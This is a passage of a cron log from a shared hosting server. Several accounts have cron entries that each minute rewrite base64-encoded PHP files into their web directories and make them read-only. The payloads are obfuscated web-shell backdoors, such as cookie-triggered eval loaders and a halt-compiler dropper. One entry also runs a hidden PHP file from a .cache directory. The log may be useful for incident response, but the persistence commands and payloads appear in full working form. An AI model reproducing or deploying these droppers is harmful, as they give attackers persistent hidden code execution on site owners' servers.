 | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:41:01 medusa CROND[32141]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:41:01 medusa CROND[32143]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:41:01 medusa CROND[32145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:41:01 medusa CROND[32158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:42:02 medusa CROND[17646]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:42:02 medusa CROND[17645]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:42:02 medusa CROND[17647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:42:02 medusa CROND[17648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:42:02 medusa CROND[17649]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:42:02 medusa CROND[17650]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:42:02 medusa CROND[17654]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:42:02 medusa CROND[17653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:42:02 medusa CROND[17657]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:42:02 medusa CROND[17659]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:42:02 medusa CROND[17660]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:42:02 medusa CROND[17658]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:42:02 medusa CROND[17669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:43:01 medusa CROND[7180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:43:01 medusa CROND[7252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:43:02 medusa CROND[7391]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:43:02 medusa CROND[7392]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:43:02 medusa CROND[7393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:43:02 medusa CROND[7395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:43:02 medusa CROND[7398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:43:02 medusa CROND[7402]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:43:02 medusa CROND[7404]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:43:02 medusa CROND[7405]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:43:02 medusa CROND[7408]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 07:43:02 medusa CROND[7411]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF